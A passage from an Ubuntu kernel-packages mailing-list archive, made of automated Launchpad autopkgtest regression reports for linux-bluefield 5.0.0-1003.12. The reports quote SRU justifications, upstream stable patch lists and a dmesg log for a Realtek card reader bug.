Don't treat granule sizes as strict i2c: rcar: avoid race when unregistering slave client i2c: emev2: avoid race when unregistering slave client drm/ast: Fixed reboot test may cause system hanged usb: host: fotg2: restart hcd after port reset tools: hv: fixed Python pep8/flake8 warnings for lsvmbus tools: hv: fix KVP and VSS daemons exit code watchdog: bcm2835_wdt: Fix module autoload drm/bridge: tfp410: fix memleak in get_modes() scsi: ufs: Fix RX_TERMINATION_FORCE_ENABLE define value drm/tilcdc: Register cpufreq notifier after we have initialized crtc net/tls: swap sk_write_space on close net: tls, fix sk_write_space NULL write when tx disabled ipv6/addrconf: allow adding multicast addr if IFA_F_MCAUTOJOIN is set ipv6: Default fib6_type to RTN_UNICAST when not set net/smc: make sure EPOLLOUT is raised tcp: make sure EPOLLOUT wont be missed ipv4/icmp: fix rt dst dev null pointer dereference mm/zsmalloc.c: fix build when CONFIG_COMPACTION=n ALSA: usb-audio: Check mixer unit bitmap yet more strictly ALSA: line6: Fix memory leak at line6_init_pcm() error path ALSA: hda - Fixes inverted Conexant GPIO mic mute led ALSA: seq: Fix potential concurrent access to the deleted pool ALSA: usb-audio: Fix invalid NULL check in snd_emuusb_set_samplerate() ALSA: usb-audio: Add implicit fb quirk for Behringer UFX1604 kvm: x86: skip populating logical dest map if apic is not sw enabled KVM: x86: Don't update RIP or do single-step on faulting emulation uprobes/x86: Fix detection of 32-bit user mode x86/apic: Do not initialize LDR and DFR for bigsmp ftrace: Fix NULL pointer dereference in t_probe_next() ftrace: Check for successful allocation of hash ftrace: Check for empty hash and comment the race with registering probes usb-storage: Add new JMS567 revision to unusual_devs USB: cdc-wdm: fix race between write and disconnect due to flag abuse usb: hcd: use managed device resources usb: chipidea: udc: don't do hardware access if gadget has stopped usb: host: ohci: fix a race condition between shutdown and irq usb: host: xhci: rcar: Fix typo in compatible string matching USB: storage: ums-realtek: Update module parameter description
[Kernel-packages] [Bug 1843291] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for
bionic have finished running.
The following regressions have been reported in tests triggered by the package:
fsprotect/unknown (armhf)
Please visit the excuses page listed below and investigate the failures,
proceeding afterwards as per the StableReleaseUpdates policy regarding
autopkgtest regressions [1].
https://people.canonical.com/~ubuntu-archive/proposed-
migration/bionic/update_excuses.html#linux-bluefield
[1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions
Thank you!
--
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1843291
Title:
Add -fcf-protection=none when using retpoline flags
Status in linux package in Ubuntu:
In Progress
Status in linux source package in Bionic:
Fix Released
Status in linux source package in Disco:
Fix Released
Bug description:
SRU Justification
Impact: Starting in eoan -fcf-protection is enabled by default in gcc,
see https://wiki.ubuntu.com/ToolChain/CompilerFlags. This option is
incompatible with -mindirect-branch, which is used for building
kernels with retpoline support. Building a kernel or dkms modules
fails without the patch, and during upgrade to eoan we can get
failures due to dkms modules failing to build for older kernels with
the new compiler.
Fix: Backport upstream patch to add -fcf-protection=none to kernel
retpoline flags.
Test Case: Upgrade from {bionic,diso} to eoan with dkms modules
installed.
Regression Potential: The patch probes the compiler for support for
-fcf-protection and only adds it if the compiler supports it, and
=none was the default prior to the change in eoan. It's also been
upstream and in eoan for a while now, so it's unlikely to cause any
regressions.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1843291/+subscriptions
--
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1845390] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845390 Title: Disco update: upstream stable patchset 2019-09-25 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2019-09-25 Ported from the following upstream stable releases: v4.19.74, v5.2.16 from git://git.kernel.org/ bridge/mdb: remove wrong use of NLM_F_MULTI cdc_ether: fix rndis support for Mediatek based smartphones ipv6: Fix the link time qualifier of 'ping_v6_proc_exit_net()' isdn/capi: check message length in capi_write() ixgbe: Fix secpath usage for IPsec TX offload. net: Fix null de-reference of device refcount net: gso: Fix skb_segment splat when splitting gso_size mangled skb having linear-headed frag_list net: phylink: Fix flow control resolution net: sched: fix reordering issues sch_hhf: ensure quantum and hhf_non_hh_weight are non-zero sctp: Fix the link time qualifier of 'sctp_ctrlsock_exit()' sctp: use transport pf_retrans in sctp_do_8_2_transport_strike tcp: fix tcp_ecn_withdraw_cwr() to clear TCP_ECN_QUEUE_CWR tipc: add NULL pointer check before calling kfree_rcu tun: fix use-after-free when register netdev failed gpiolib: acpi: Add gpiolib_acpi_run_edge_events_on_boot option and blacklist gpio: fix line flag validation in linehandle_create Btrfs: fix assertion failure during fsync and use of stale transaction ixgbe: Prevent u8 wrapping of ITR value to something less than 10us genirq: Prevent NULL pointer dereference in resend_irqs() KVM: s390: kvm_s390_vm_start_migration: check dirty_bitmap before using it as target for memset() KVM: s390: Do not leak kernel stack data in the KVM_S390_INTERRUPT ioctl KVM: x86: work around leak of uninitialized stack contents KVM: nVMX: handle page fault in vmread x86/purgatory: Change compiler flags from -mcmodel=kernel to -mcmodel=large to fix kexec relocation errors powerpc: Add barrier_nospec to raw_copy_in_user() drm/meson: Add support for XBGR & ABGR formats clk: rockchip: Don't yell about bad mmc phases when getting mtd: rawnand: mtk: Fix wrongly assigned OOB buffer pointer issue PCI: Always allow probing with driver_override gpio: fix line flag validation in lineevent_create ubifs: Correctly use tnc_next() in search_dh_cookie() driver core: Fix use-after-free and double free on glue directory crypto: talitos - check AES key size crypto: talitos - fix CTR alg blocksize crypto: talitos - check data blocksize in ablkcipher. crypto: talitos - fix ECB algs ivsize crypto: talitos - Do not modify req->cryptlen on decryption. crypto: talitos - HMAC SNOOP NO AFEU mode requires SW icv checking. firmware: ti_sci: Always request response from firmware drm: panel-orientation-quirks: Add extra quirk table entry for GPD MicroPC drm/mediatek: mtk_drm_drv.c: Add of_node_put() before goto Revert "Bluetooth: btusb: driver to enable the usb-wakeup feature" iio: adc: stm32-dfsdm: fix data type modules: fix BUG when load module with rodata=n modules: fix compile error if don't have strict module rwx platform/x86: pmc_atom: Add CB4063 Beckhoff Automation board to critclk_systems DMI table rsi: fix a double free bug in rsi_91x_deinit() x86/build: Add -Wnoaddress-of-packed-member to REALMODE_CFLAGS, to silence GCC9 build warning ixgbevf: Fix secpath usage for IPsec Tx offload net: fixed_phy: Add forward declaration for struct gpio_desc; net: sock_map, fix missing ulp check in sock hash case Revert "mmc: bcm2835: Terminate timeout work synchronously" mmc: tmio: Fixup runtime PM management during probe mmc: tmio: Fixup runtime PM management during remove drm/i915: Restore relaxed padding (OCL_OOB_SUPPR
[Kernel-packages] [Bug 1846096] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
*** This bug is a duplicate of bug 1849002 *** https://bugs.launchpad.net/bugs/1849002 All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846096 Title: bionic/linux-bluefield: 5.0.0-1003.12 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Confirmed Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: Invalid Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux package in Ubuntu: Invalid Status in linux source package in Bionic: Invalid Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true kernel-stable-master-bug: 1846097 packages: main: linux-bluefield meta: linux-meta-bluefield phase: Ready for Testing phase-changed: Wednesday, 23. October 2019 17:11 UTC proposed-announcement-sent: true proposed-testing-requested: true reason: certification-testing: Ongoing -- testing in progress variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1846096/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1844722] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1844722 Title: Disco update: upstream stable patchset 2019-09-19 Status in linux package in Ubuntu: Confirmed Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: The upstream process for stable tree updates is quite similar in scope to the Ubuntu SRU process, e.g., each patch has to demonstrably fix a bug, and each patch is vetted by upstream by originating either directly from a mainline/stable Linux tree or a minimally backported form of that patch. The following upstream stable patches should be included in the Ubuntu kernel: upstream stable patchset 2019-09-19 Ported from the following upstream stable releases: v4.19.73, v5.2.15 from git://git.kernel.org/ ALSA: hda - Fix potential endless loop at applying quirks ALSA: hda/realtek - Fix overridden device-specific initialization ALSA: hda/realtek - Add quirk for HP Pavilion 15 ALSA: hda/realtek - Enable internal speaker & headset mic of ASUS UX431FL ALSA: hda/realtek - Fix the problem of two front mics on a ThinkCentre sched/fair: Don't assign runtime for throttled cfs_rq drm/vmwgfx: Fix double free in vmw_recv_msg() vhost/test: fix build for vhost test vhost/test: fix build for vhost test - again batman-adv: fix uninit-value in batadv_netlink_get_ifindex() batman-adv: Only read OGM tvlv_len after buffer len check timekeeping: Use proper ktime_add when adding nsecs in coarse offset selftests: fib_rule_tests: use pre-defined DEV_ADDR powerpc/64: mark start_here_multiplatform as __ref media: stm32-dcmi: fix irq = 0 case scripts/decode_stacktrace: match basepath using shell prefix operator, not regex nvme-fc: use separate work queue to avoid warning modules: always page-align module section allocations kernel/module: Fix mem leak in module_add_modinfo_attrs drm/i915: Re-apply "Perform link quality check, unconditionally during long pulse" drm/vblank: Allow dynamic per-crtc max_vblank_count mfd: Kconfig: Fix I2C_DESIGNWARE_PLATFORM dependencies tpm: Fix some name collisions with drivers/char/tpm.h drm/nouveau: Don't WARN_ON VCPI allocation failures drm: add __user attribute to ptr_to_compat() drm/i915: Handle vm_mmap error during I915_GEM_MMAP ioctl with WC set drm/i915: Sanity check mmap length against object size arm64: dts: stratix10: add the sysmgr-syscon property from the gmac's kvm: mmu: Fix overflow on kvm mmu page limit calculation KVM: x86: Always use 32-bit SMRAM save state for 32-bit kernels media: i2c: tda1997x: select V4L2_FWNODE ext4: protect journal inode's blocks using block_validity ARM: dts: qcom: ipq4019: Fix MSI IRQ type dt-bindings: mmc: Add supports-cqe property dt-bindings: mmc: Add disable-cqe-dcmd property. dm mpath: fix missing call of path selector type->end_io mmc: sdhci-pci: Add support for Intel CML PCI: dwc: Use devm_pci_alloc_host_bridge() to simplify code cifs: smbd: take an array of reqeusts when sending upper layer data drm/amdkfd: Add missing Polaris10 ID kvm: Check irqchip mode before assign irqfd Btrfs: fix race between block group removal and block group allocation cifs: add spinlock for the openFileList to cifsInodeInfo ceph: use ceph_evict_inode to cleanup inode's resource KVM: x86: optimize check for valid PAT value KVM: VMX: Always signal #GP on WRMSR to MSR_IA32_CR_PAT with bad value btrfs: correctly validate compression type dm thin metadata: check if in fail_io mode when setting needs_check bcache: only clear BTREE_NODE_dirty bit when it is set bcache: add comments for mutex_lock(&b->write_lock) bcache: fix race in btree_flush_write() drm/i915: Make sure cdclk is high enough for DP audio on VLV/CHV virtio/s390: fix race on airq_areas[] drm/atomic_helper: Allow DPMS On<->Off changes for unregistered connectors ext4: don't perform block validity checks on the journal inode ext4: fix block validity checks for journal inodes using indirect blocks ext4: unsigned int compared against zero PCI: Reset both NVIDIA GPU and HDA in ThinkPad P50 workaround gpio: pca953x: correct type of reg_direction
[Kernel-packages] [Bug 1845355] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1845355 Title: Support Hi1620 zip hw accelerator Status in kunpeng920: Fix Committed Status in kunpeng920 ubuntu-18.04-hwe series: Fix Committed Status in kunpeng920 ubuntu-19.04 series: Fix Released Status in kunpeng920 ubuntu-19.10 series: Fix Committed Status in kunpeng920 upstream-kernel series: Fix Committed Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Status in linux source package in Eoan: Fix Released Bug description: [Impact] The Hi1620 SoC has an onboard zip accelerator that is currently not exposd to userspace by Ubuntu. [Test Case] ubuntu@scobee:~$ dmesg | grep zip [ 29.688222] hisi_zip :75:00.0: enabling device ( -> 0002) [ 29.697720] hisi_zip :b5:00.0: enabling device ( -> 0002) ubuntu@scobee:~$ lspci | grep ZIP 75:00.0 Processing accelerators: Huawei Technologies Co., Ltd. HiSilicon ZIP Engine (rev 21) b5:00.0 Processing accelerators: Huawei Technologies Co., Ltd. HiSilicon ZIP Engine (rev 21) [Fix] 263c9959c9376 crypto: hisilicon - add queue management driver for HiSilicon QM module dfed0098ab91f crypto: hisilicon - add hardware SGL support 62c455ca853e3 crypto: hisilicon - add HiSilicon ZIP accelerator support 79e09f30eeba8 crypto: hisilicon - add SRIOV support for ZIP 8201fdf49ff09 Documentation: Add debugfs doc for hisi_zip 72c7a68d2ea34 crypto: hisilicon - add debugfs for ZIP and QM ad3f0a93b639c MAINTAINERS: add maintainer for HiSilicon QM and ZIP controller driver 00ae05db583a7 crypto: hisilicon - fix kbuild warnings db01e4818bbda crypto: hisilicon - add dependency for CRYPTO_DEV_HISI_ZIP 5c0861989cc19 crypto: hisilicon - init curr_sgl_dma to fix compile warning 902f0babf5457 crypto: hisilicon - add missing single_release 1ed2002f891dc crypto: hisilicon - fix error handle in hisi_zip_create_req_q b395ed4f948a2 crypto: hisilicon - Fix warning on printing %p with dma_addr_t 62a9d9fc7a210 crypto: hisilicon - Fix return value check in hisi_zip_acompress() bf6a7a5ad6fa6 crypto: hisilicon - avoid unused function warning [Regression Risk] This is a new driver which will only load automatically on systems that expose a supported PCI device. To manage notifications about this bug go to: https://bugs.launchpad.net/kunpeng920/+bug/1845355/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1846097] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1846097 Title: disco/linux: 5.0.0-32.34 -proposed tracker Status in Kernel SRU Workflow: Fix Released Status in Kernel SRU Workflow automated-testing series: Fix Released Status in Kernel SRU Workflow certification-testing series: Fix Released Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-lrm series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Released Status in Kernel SRU Workflow promote-to-security series: Fix Released Status in Kernel SRU Workflow promote-to-updates series: Fix Released Status in Kernel SRU Workflow regression-testing series: Fix Released Status in Kernel SRU Workflow security-signoff series: Fix Released Status in Kernel SRU Workflow verification-testing series: Fix Released Status in linux package in Ubuntu: Invalid Status in linux source package in Disco: Fix Released Bug description: This bug will contain status and test results related to a kernel source (or snap) as stated in the title. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- boot-testing-requested: true bugs-spammed: true packages: lrm: linux-restricted-modules main: linux meta: linux-meta signed: linux-signed phase: Complete phase-changed: Monday, 21. October 2019 10:02 UTC proposed-announcement-sent: true proposed-testing-requested: true trackers: bionic/linux-bluefield: bug 1846096 bionic/linux-hwe: bug 1846092 bionic/linux-oem-osp1: bug 1846095 disco/linux-aws: bug 1846075 disco/linux-azure: bug 1846079 disco/linux-gcp: bug 1846086 disco/linux-kvm: bug 1846087 disco/linux-oracle: bug 1846089 disco/linux-raspi2: bug 1846073 disco/linux-snapdragon: bug 1846091 variant: debs To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1846097/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1842265] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-oem in Ubuntu. https://bugs.launchpad.net/bugs/1842265 Title: No sound inputs from the external microphone and headset on a Dell machine Status in HWE Next: Fix Released Status in linux package in Ubuntu: Fix Released Status in linux-oem package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Status in linux-oem source package in Bionic: Fix Released Status in linux source package in Disco: Fix Released Status in linux-oem source package in Disco: Fix Released Bug description: [Impact] When we plug an external mic/headset-mic, the system can't detect it and as a result can't record sound from it. [Fix] Apply an existing fixup to fix this issue. [Test Case] After applying the patch, plug an external mic or headset-mic, system can detect it and can record the sound from it too. [Regression Risk] Low. just add an existing fixup to this new machine. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1842265/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1836261] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1836261 Title: xfrm interface: several kernel panic Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Bug description: BugLink: https://bugs.launchpad.net/bugs/1836261 [Impact] Upstream has recently received a number of bug fixes that resolve kernel panics, memory leaks, and list handling for virtual xfrm interfaces that were debuted in 4.19. [Test Case] 3 of the 5 patches have test cases in their commit message for reproducing the fault they address. Another patch prevents including a stale name in the log files. And the other patch that doesn't have an explicit test case improves list handling. [Regression Potential] This patchset contains a nontrivial amount of changes. However, the heavier patches contain test cases that they resolve the regressions they were created for. They've been upstream since July and I don't see any follow up Fixes commits targeting these. The blast radius is "only" the xfrm interface but this is smoke tested and if any dependents rely on it for core functionality they might exercise it and would possibly notice any issues by now as well. Original bug description follows: There was several problems reported upstream: 1/ 56c5ee1a5823: xfrm interface: fix memory leak on creation https://git.kernel.org/pub/scm/linux/kernel/git/davem/net.git/commit/?id=56c5ee1a5823 2/ xfrm interface: avoid corruption on changelink http://patchwork.ozlabs.org/patch/1130240/ 3/ xfrm interface: ifname may be wrong in logs http://patchwork.ozlabs.org/patch/1130241/ 4/ xfrm interface: fix list corruption for x-netns http://patchwork.ozlabs.org/patch/1130385/ To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1836261/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1842059] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1842059 Title: shiftfs: mark kmem_cache as reclaimable Status in linux package in Ubuntu: Fix Released Status in linux source package in Disco: Fix Released Bug description: SRU Justification Impact: Shiftfs does not mark it's slab cache as reclaimable. While this is not a big deal it is not nice to the kernel in general. The shiftfs cache is not so important that it can't be reclaimed. Regression Potential: Limited to shiftfs. This patch has been tested for multiple days and has not caused any regressions. Test Case: Open a lot of files in shiftfs to get them into the cache and then cause memory pressure via e.g. stress-ng and see if the shiftfs cache shrinks. Target Kernels: All LTS kernels with shiftfs support. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1842059/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1842774] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1842774 Title: Enhanced Hardware Support - Finalize Naming Status in Ubuntu on IBM z Systems: In Progress Status in linux package in Ubuntu: Fix Released Status in qemu package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Status in qemu source package in Bionic: In Progress Status in linux source package in Disco: Fix Released Status in qemu source package in Disco: In Progress Bug description: @SRU Team: For SRU template of Qemu please scroll down ... SRU Justification Kernel: = [Impact] * Add / activate support for IBM z15 and LinuxONE III systems [Fix] * a0e2251132995b962281aa80ab54a9288f9e0b6b a0e2251 "s390: add support for IBM z15 machines" [Test Case] * check and verify cpuinfo - regression testing is possible by Canonical/me * functional testing is currently only doable by IBM [Regression Potential] * There is regression potential with having new code in and the flags added/active * but the code changes are pretty straight forward, just add config, cases and defs * and are not used on existing systems, just on the new generation that is not yet out in the field [Other Info] * SRU of LP 1842916 merged with (this) LP 1842774 --- SRU Template for qemu as the impact/scope is different == [Impact] * Update naming of the new HW Generation * Now that the systems are released people might look for types matching the name and no one really knows "IBM 8561 GA1". * Help users to identify the cpu type by backporting the fix that sets the defined name. [Fix] * https://git.qemu.org/?p=qemu.git;a=commit;h=7505deca [Test Case] * qemu-system-s390x -cpu ? | grep gen15 s390 gen15a-base IBM 8561 GA1(static, migration-safe) s390 gen15a IBM 8561 GA1(migration-safe) s390 gen15b-base IBM 8562 GA1(static, migration-safe) s390 gen15b IBM 8562 GA1(migration-safe) * With the fix gen15a should be called "IBM z15 GA1" [Regression Potential] * The only thing changing (for qemu) are some texts e.g. when showing CPU types. The cpu type itself that is used in e.g. scripts / commands will not change. Therefore the regression risk of the qemu change is next to none. The only I can think of is people grepping for the old ID in text output, but that seems theoretical and not important. [Other Info] * For an SRU perspective this is "nice to have" we will only do this "along" other higher impact SRUs. __ This feature request will provide the final naming of the next machine To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1842774/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1838886] Autopkgtest regression report (linux-bluefield/5.0.0-1003.12)
All autopkgtests for the newly accepted linux-bluefield (5.0.0-1003.12) for bionic have finished running. The following regressions have been reported in tests triggered by the package: fsprotect/unknown (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#linux-bluefield [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1838886 Title: New ID in ums-realtek module breaks cardreader Status in linux package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Released Status in linux source package in Disco: Fix Released Status in linux source package in Eoan: Confirmed Bug description: === SRU Justification === [Impact] Some ums-realtek card readers may dropped from USB bus after using ums-realtek driver instead of usb-storage generic driver. [Fix] Disable auto-delink on new ums-realtek devices, only whitelist three oldest IDs. [Test] Affected user and myself confirmed disabling auto-delink works. [Regression Potential] Minimal. Limited to one specific driver and this also restore the old behavior. === Original Bug Report === When installing the latest HWE stack (Linux 5.0) to Ubuntu 18.04, the Realtek cardreader in my ZOTAC ZBOX-CI323NANO stops working correctly. Previously it accepted SD cards all the time. Now it looks like you have to insert the card on booting or shortly after booting to access it. If you wait longer, it no longer detects the card. The reason for this can be found in the kernel log (dmes). On boot it seems to detect a card in the reader, although there is none. After a while it says "Read capacity failed" and "scsi 2:0:0:0: rejecting I/O to dead device" and then resets the device. It tries this 3 times and then gives up completely. After that any real device plugged is no longer detected. The device is: idVendor=0bda, idProduct=0153, bcdDevice=57.13 Support for this was added in mainline kernel: https://github.com/torvalds/linux/commit/1a6dd3fea131276a4fc44ae77b0f471b0b473577 And this seems to be backported to 5.0 kernel in Ubuntu 18.04 HWE stack. Full log on boot (no card inserted): [3.689559] usb 1-5.1: new high-speed USB device number 4 using xhci_hcd [3.898312] usb 1-5.1: New USB device found, idVendor=0bda, idProduct=0153, bcdDevice=57.13 [3.898316] usb 1-5.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [3.898319] usb 1-5.1: Product: USB2.0-CRW [3.898322] usb 1-5.1: Manufacturer: Generic [3.898324] usb 1-5.1: SerialNumber: 2012092657120 [3.911571] usbcore: registered new interface driver usb-storage [3.914796] usbcore: registered new interface driver uas [3.917676] ums-realtek 1-5.1:1.0: USB Mass Storage device detected [3.924478] scsi host2: usb-storage 1-5.1:1.0 [3.924649] usbcore: registered new 